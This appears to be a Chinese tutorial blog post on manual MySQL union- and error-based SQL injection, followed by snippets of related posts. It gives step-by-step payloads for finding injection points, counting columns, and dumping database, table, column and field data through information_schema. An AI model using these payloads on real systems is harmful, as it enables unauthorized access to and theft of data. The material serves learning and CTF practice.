mysql錯誤回顯注入 sql注入 顯錯注入

2021-10-18 21:28:28 字數 1987 閱讀 8321

前提知識

資料庫:就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合

資料庫結構:

庫:就是一堆表組成的資料集合

表:類似 excel,由行和列組成的二維表

字段:表中的列稱為字段

記錄:表中的行稱為記錄

單元格:行和列相交的地方稱為單元格

在資料庫裡有乙個系統庫:information_schema

在它裡面有個存著所有庫名的表:schemata schema_name 庫名

在它裡面有個存著所有表名的表:tables

表名 table_schema 表屬於庫 table_name  表名

在它裡面還有個存著所有欄位名的表:columns

table_schema 表屬於庫    table_name  表名      column_name 欄位名

資料庫結構中常用:table_schema庫名 table_name表名 column_name欄位名優先記憶

資料庫中簡單查詢語句

select * from 表:從表裡查詢所有內容

where :有條件的從表中選取資料

and或or  :條件有點多時候從表中選取資料

order by :根據指定的結果集/指定的列進行排序

limit 0,1 :從第一行起顯示一條記錄

union select :將多個表拼在一起

sql注入

攻擊者通過構造不同的sql語句來實現對資料庫的操作。

任何與資料庫產生互動的地方都可能存在sql注入

sql顯錯注入-聯合查詢(mysql資料庫)的基本流程及常用語句

sql手注的一般流程

一、判斷注入點

如為整數型注入

id=1' 後面加上'單引號,頁面出錯

id=1 and 1=1

id=1 and 1=2 時頁面不同判斷存在注入

二、判斷字段數

常用order by 判斷字段數

order by :order by 語句用於根據指定的列對結果集進行排序。

如:id=1 order by 3 頁面正常

id=1 order by 4 頁面錯誤

則字段數為3

三、判斷回顯點

使用聯合查詢

id =1 and 1=2 union select 1,2,3 前面為假是會查詢後面的語句,從而可獲得回顯點

查詢資料庫版本

and 1=2 union select 1,version(),3

查詢資料庫庫名

and 1=2 union select 1,database(),3

猜詢表名

and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='庫名'

查詢欄位名

and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name='表名'

查詢字段內容

and 1=2 union select 1,欄位名 from 表名,3

若為單引號或雙引號注入

考慮拼接為正常字串進行逃逸

如;id=1' union select 1,欄位名 from 表名,3 -- +

後方為--+或-- a 或# 在很多資料庫中槓槓加為注釋符,在mysql中#為注釋符,推薦常用--+

基於錯誤回顯的sql注入整理

由於複習,停了好幾天,今天換換模式做了一下關於錯誤回顯的ctf題目,首先附上題目 here 0x00 關於錯誤回顯 用我自己的話來講,基於錯誤回顯的sql注入就是通過sql語句的矛盾性來使資料被回顯到頁面上 當然在實際應用中得能回顯在頁面上,一般的 都回避免這種情況,哈哈,要是能碰上你就偷著樂吧 0...

mysql顯錯注入 MySQL注入之顯錯注入

庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...

利用DNSLOG注入突破無回顯盲注

sql注入介紹 sql注入介紹 注入產生原因 web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,導致惡意payload直接帶入sql語句執行,從而執行payload中非法操作!新建php檔案,將下面 複製到php檔案中,在瀏覽器中訪問即可 host 127.0.0.1 dbuser root...